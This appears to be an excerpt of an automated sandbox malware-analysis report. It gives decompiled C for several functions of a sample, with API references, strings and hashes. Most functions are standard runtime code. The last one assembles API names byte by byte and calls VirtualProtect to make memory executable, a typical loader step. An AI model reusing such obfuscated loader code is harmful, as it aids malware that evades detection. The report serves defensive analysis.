							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L004297F0(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E00429730(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x44020c; // 0x34
							_t123 = _t122 + 1;
							 *0x44020c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x54ac14 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x54ac14 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x54ac14 = 0xffffffff;
								} else {
									_t159 =  *0x54ac14; // 0x3852
									 *0x54ac14 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x54ac2c; // 0x1fca
								 *0x54ac2c = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x54ac2c; // 0x1fca
								__eflags = _t126 -  *0x54ac20; // 0x238a
								if(__eflags > 0) {
									_t158 =  *0x54ac2c; // 0x1fca
									 *0x54ac20 = _t158;
								}
								__eflags =  *0x54ac24;
								if( *0x54ac24 == 0) {
									 *0x54ac18 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x54ac24; // 0x991318
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x54ac24; // 0x991318
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x54ac24 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041B6B0(_t171,  *(_t175 - 0x24) + 0x1c,  *0x440214 & 0x000000ff, 4);
							E0041B6B0(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x440214 & 0x000000ff, 4);
							E0041B6B0(_t171,  *(_t175 - 0x24) + 0x20,  *0x440217 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L004297F0(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041BEF0();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x44105c(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L004297F0(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L004297F0(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041bba7
0x0041bbaa
0x0041bbb8
0x0041bbba
0x0041bbc2
0x0041bbc8
0x0041bc00
0x0041bc06
0x0041bc06
0x0041bc09
0x0041bbca
0x0041bbd1
0x0041bbd3
0x0041bbd8
0x0041bbda
0x0041bbdf
0x0041bbe4
0x0041bbe6
0x0041bbeb
0x0041bbf1
0x0041bbf3
0x0041bbf3
0x0041bbf1
0x0041bbf4
0x0041bbf4
0x0041bbc8
0x0041bc0f
0x0041bc14
0x0041bc1e
0x0041bc23
0x0041bc29
0x0041bc2b
0x0041bc2b
0x0041bc29
0x0041bc33
0x0041bcaa
0x0041bcb3
0x0041bcb6
0x0041bcb8
0x0041bcbd
0x0041bcc0
0x0041bcc2
0x0041bcc2
0x0041bcc0
0x0041bcc9
0x0041bccd
0x0041bd05
0x0041bd08
0x0041bd0a
0x0041bd0e
0x0041bd19
0x0041bd1c
0x0041bd1e
0x0041bd22
0x0041bd36
0x0041bd3b
0x0041bd3e
0x0041bd41
0x0041bd43
0x0041bd43
0x0041bd41
0x0041bd22
0x0041bd1c
0x0041bd0e
0x0041bd4a
0x0041bd51
0x0041bd59
0x0041bd5c
0x0041bd60
0x0041bd70
0x0041bd76
0x0041bd79
0x0041bd7f
0x0041bd83
0x0041bdd7
0x0041bdda
0x0041bded
0x0041bddc
0x0041bddc
0x0041bde5
0x0041bde5
0x0041bdf7
0x0041bdff
0x0041be04
0x0041be0a
0x0041be10
0x0041be12
0x0041be18
0x0041be18
0x0041be1e
0x0041be25
0x0041be37
0x0041be27
0x0041be27
0x0041be2f
0x0041be2f
0x0041be40
0x0041be46
0x0041be4b
0x0041be58
0x0041be61
0x0041be6a
0x0041be73
0x0041be7c
0x0041be82
0x0041bd85
0x0041bd88
0x0041bd91
0x0041bd9b
0x0041bda5
0x0041bdb2
0x0041bdb8
0x0041bdc2
0x0041bdc2
0x0041be99
0x0041beb6
0x0041bed1
0x0041bedc
0x0041bedc
0x0041bedf
0x0041bd62
0x0041bd65
0x0041bd65
0x0041bccf
0x0041bce0
0x0041bce8
0x0041bceb
0x0041bced
0x0041bced
0x0041bcf1
0x0041bcf1
0x0041bee2
0x0041bee2
0x0041bee9
0x0041bf01
0x0041bf0f
0x0041bf0f
0x0041bc4d
0x0041bc53
0x0041bc58
0x00000000
0x00000000
0x0041bc5e
0x0041bc97
0x0041bc9f
0x0041bca2
0x0041bca4
0x0041bca4
0x0041bca5
0x00000000
0x0041bca5
0x0041bc63
0x0041bc80
0x0041bc82
0x0041bc82
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041BBCA
__heap_alloc_base.LIBCMTD ref: 0041BD51
_memset.LIBCMT ref: 0041BE99
_memset.LIBCMT ref: 0041BEB6
_memset.LIBCMT ref: 0041BED1

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BBDF
Client hook allocation failure., xrefs: 0041BC85
Error: memory allocation: bad memory block type., xrefs: 0041BD24
Invalid allocation size: %Iu bytes., xrefs: 0041BCD3
_CrtCheckMemory(), xrefs: 0041BBD3
Client hook allocation failure at file %hs line %d., xrefs: 0041BC68

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: bfa0ce758f7271beb0ef98518b17b64fe9db53f09c3a0627020f6deefe020aaa
Instruction ID: ca9823ca5d20c515a5f6f9f48388581680e6de5e90529282e909946648ef3237
Opcode Fuzzy Hash: bfa0ce758f7271beb0ef98518b17b64fe9db53f09c3a0627020f6deefe020aaa
Instruction Fuzzy Hash: 34A17C78A40208DBDB18CF58DA85BEA77F1FB49304F20815AE9056B391D779AD80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041B845, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041B845() {
				void* _t21;
				void* _t22;
				void* _t25;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t74;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041B9E0();
				_t21 = E00429240(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041B9B0(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L00424960(_t46); // executed
				if(_t22 == 0) {
					E0041B9B0(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041DCB0(_t46);
				_t62 = _t61 + 4;
				E004291C0();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00426D20(); // executed
				if(_t25 < 0) {
					L00426260(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x54c984 = E004291B0();
				 *0x54ac0c = E00429100(_t44, _t54, _t56);
				if(E00428D10() < 0) {
					L00426260(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E00428B70(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L00426260(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00426140(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L00426260(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00428AD0();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E0041A069( *((intOrPtr*)(_t58 - 0x68)), _t74, 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E004261E0( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00426220();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041b845
0x0041b851
0x0041b856
0x0041b85b
0x0041b860
0x0041b864
0x0041b869
0x0041b869
0x0041b86c
0x0041b873
0x0041b877
0x0041b87c
0x0041b87c
0x0041b87f
0x0041b881
0x0041b886
0x0041b889
0x0041b88e
0x0041b895
0x0041b89c
0x0041b8a0
0x0041b8a5
0x0041b8a5
0x0041b8ad
0x0041b8b7
0x0041b8c3
0x0041b8c7
0x0041b8cc
0x0041b8cc
0x0041b8cf
0x0041b8d6
0x0041b8da
0x0041b8df
0x0041b8df
0x0041b8e4
0x0041b8ec
0x0041b8f3
0x0041b8f9
0x0041b8fe
0x0041b906
0x0041b90f
0x0041b91a
0x0041b911
0x0041b915
0x0041b915
0x0041b935
0x0041b93c
0x0041b942
0x0041b942
0x0041b947
0x0041b94c
0x0041b994
0x0041b99a
0x0041b9a8

APIs

_check_managed_app.LIBCMTD ref: 0041B84C
__heap_init.LIBCMTD ref: 0041B856

Part of subcall function 00429240: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B85B,00000001), ref: 00429256

_fast_error_exit.LIBCMTD ref: 0041B864

Part of subcall function 0041B9B0: ___crtExitProcess.LIBCMTD ref: 0041B9D4

_fast_error_exit.LIBCMTD ref: 0041B877
__RTC_Initialize.LIBCMTD ref: 0041B889
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B8B2
___wsetargv.LIBCMTD ref: 0041B8BC
__wsetenvp.LIBCMTD ref: 0041B8CF
__cinit.LIBCMTD ref: 0041B8E4
__wwincmdln.LIBCMTD ref: 0041B901

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: 6323b2d565ece153036531b84d5734e9dd3c4f4514ce65066ac21880c2b30961
Instruction ID: 5c199a4945068207f9f4c4c7eef6bf92883516642b6ca68ee6afa15da08243f4
Opcode Fuzzy Hash: 6323b2d565ece153036531b84d5734e9dd3c4f4514ce65066ac21880c2b30961
Instruction Fuzzy Hash: 053174F1E013189AEB10BBF2B9027DE7660EF1470CF50002FE50557282FB799955CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00426D20, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00426D20() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43e080);
				_push(E0041E990);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x440354; // 0x48304d0a
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041BFE0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x54b840 = _v128;
					 *0x54b83c = 0x20;
					while(_v128 <  *0x54b840 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x54b840;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0042C410( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x54b83c);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x54b83c < _v116) {
							_t209 = L0041BFE0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x54b840 + _v104 * 4)) = _v128;
								 *0x54b83c =  *0x54b83c + 0x20;
								while(_v128 <  *((intOrPtr*)(0x54b840 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x54b83c;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0042C410( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00426d25
0x00426d27
0x00426d2c
0x00426d37
0x00426d38
0x00426d3e
0x00426d43
0x00426d48
0x00426d4c
0x00426d52
0x00426d55
0x00426d60
0x00426d66
0x00426dab
0x00426db0
0x00426db3
0x00426dba
0x00426dc7
0x00426dcd
0x00426de2
0x00426df4
0x00426dfb
0x00426e04
0x00426e0b
0x00426e1d
0x00426e2b
0x00426e31
0x00426e38
0x00426e3f
0x00426e49
0x00426ddf
0x00426ddf
0x00426e55
0x00427053
0x00427053
0x00427065
0x0042707b
0x00427084
0x00427095
0x0042709d
0x004270b3
0x004270b8
0x0042709f
0x0042709f
0x0042709f
0x004270cb
0x004270d2
0x00427169
0x00427176
0x0042717c
0x00000000
0x004270e2
0x004270ec
0x004270f3
0x00000000
0x004270f5
0x004270fb
0x00427109
0x00427129
0x00427138
0x00427138
0x0042710b
0x00427118
0x00427118
0x00427147
0x0042714c
0x00427151
0x00427164
0x00427182
0x00000000
0x00427153
0x00427153
0x00427153
0x00427151
0x004270f3
0x00427184
0x00427193
0x00427196
0x00427062
0x00000000
0x00427062
0x00000000
0x00427084
0x004271a2
0x004271a8
0x00426e65
0x00426e6a
0x00426e73
0x00426e7c
0x00426e86
0x00426e93
0x00426e88
0x00426e8b
0x00426e8b
0x00426ea3
0x00426ea6
0x00426eb8
0x00426ed7
0x00426edc
0x00426edf
0x00426ee6
0x00426efb
0x00426f0a
0x00426f1a
0x00426f31
0x00426f38
0x00426f41
0x00426f48
0x00426f5a
0x00426f60
0x00426f67
0x00426f6e
0x00426f78
0x00426f17
0x00426f17
0x00426eb5
0x00000000
0x00426ee8
0x00426eed
0x00426eed
0x00000000
0x00426ee6
0x00426f83
0x00426fa7
0x00426fb9
0x0042704e
0x00426f92
0x00426f9b
0x00426fa4
0x00000000
0x00426ff1
0x00427007
0x00427012
0x0042701c
0x0042702b
0x00427030
0x00427035
0x0042704b
0x00000000
0x00427037
0x00427037
0x00427037
0x00427035
0x00000000
0x00426fb9
0x00000000
0x00426fa7
0x00426dbc
0x00426dbc
0x00426dbc
0x004271aa
0x004271ad
0x004271bb

APIs

GetStartupInfoA.KERNEL32(?), ref: 00426D60
GetFileType.KERNEL32(?), ref: 00426FE7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00426DA0, 00426ECC

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: eca3de84a3506dbf7b2d4c071ebdc3adef8129f1ba0c45838eaca0f3bb41b472
Instruction ID: ea3c4b83466805274887977be2155980f27651d0f05916dbd4b1fcdc2fa4f0d7
Opcode Fuzzy Hash: eca3de84a3506dbf7b2d4c071ebdc3adef8129f1ba0c45838eaca0f3bb41b472
Instruction Fuzzy Hash: EAE12874E04258CFDB24CFA8D890BAEBBB1BF49308F64825ED4256B392C7359846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041BF1E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0041BF1E(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L0041E520();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0x54adb0; // 0x0
					_t28 = L0041BAF0(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E0041B6B0(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00423010(_t36))) = 0xc;
					E00422DA0(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x0041bf1e
0x0041bf1e
0x0041bf1e
0x0041bf1e
0x0041bf2b
0x0041bf2d
0x0041bf30
0x0041bf33
0x0041bf35
0x0041bf3a
0x0041bf3c
0x0041bf41
0x0041bf46
0x0041bf48
0x0041bf4d
0x0041bf53
0x0041bf55
0x0041bf55
0x0041bf53
0x0041bf5a
0x0041bf90
0x0041bfa3
0x0041bfae
0x0041bfb6
0x0041bfbd
0x0041bfc9
0x0041bfce
0x0041bfd1
0x0041bf5c
0x0041bf61
0x0041bf7d
0x0041bf85
0x0041bf85
0x0041bfd7

APIs

__invalid_parameter.LIBCMTD ref: 0041BF7D
_memset.LIBCMT ref: 0041BFC9

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BF41, 0041BF6E
_calloc_dbg_impl, xrefs: 0041BF73
(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041BF35, 0041BF78

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: e13dc837d26c9b9caabc4f76fe61df2d96c561876a8e2f54e1295b45061967ed
Instruction ID: b76db503e5441199bb7ef73037aaa84a5050db99c3218b07bb2675787fe1ea62
Opcode Fuzzy Hash: e13dc837d26c9b9caabc4f76fe61df2d96c561876a8e2f54e1295b45061967ed
Instruction Fuzzy Hash: 6A11B275B40208BBDB00DF94DD46FDE37A5EB58704F20815AF908EB2C1D7B8EA418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00419D0E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00419D0E(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t5;

				_push("VirtualProtect");
				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x441771 = 0x64;
				 *0x441772 = 0x6c;
				 *0x441774 = 0;
				M0044176B = 0x6e;
				M0044176C = 0x65;
				M0044176D = 0x6c;
				M0044176E = 0x33;
				M0044176F = 0x32;
				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t5 + 1); // executed
				return _t3;
			}

0x00419d0f
0x00419d14
0x00419d1b
0x00419d22
0x00419d29
0x00419d30
0x00419d37
0x00419d3e
0x00419d45
0x00419d4c
0x00419d53
0x00419d5a
0x00419d61
0x00419d64
0x00419d66
0x00419d68
0x00419d6f
0x00419d75
0x00419d86
0x00419d93
0x00419d9a
0x00419da1
0x00419da8
0x00419daf
0x00419db6
0x00419dbd
0x00419dc4
0x00419dcb
0x00419dd2
0x00419dd9
0x00419de0
0x00419de7
0x00419dee
0x00419df5

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419D6F
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419DEE

Strings
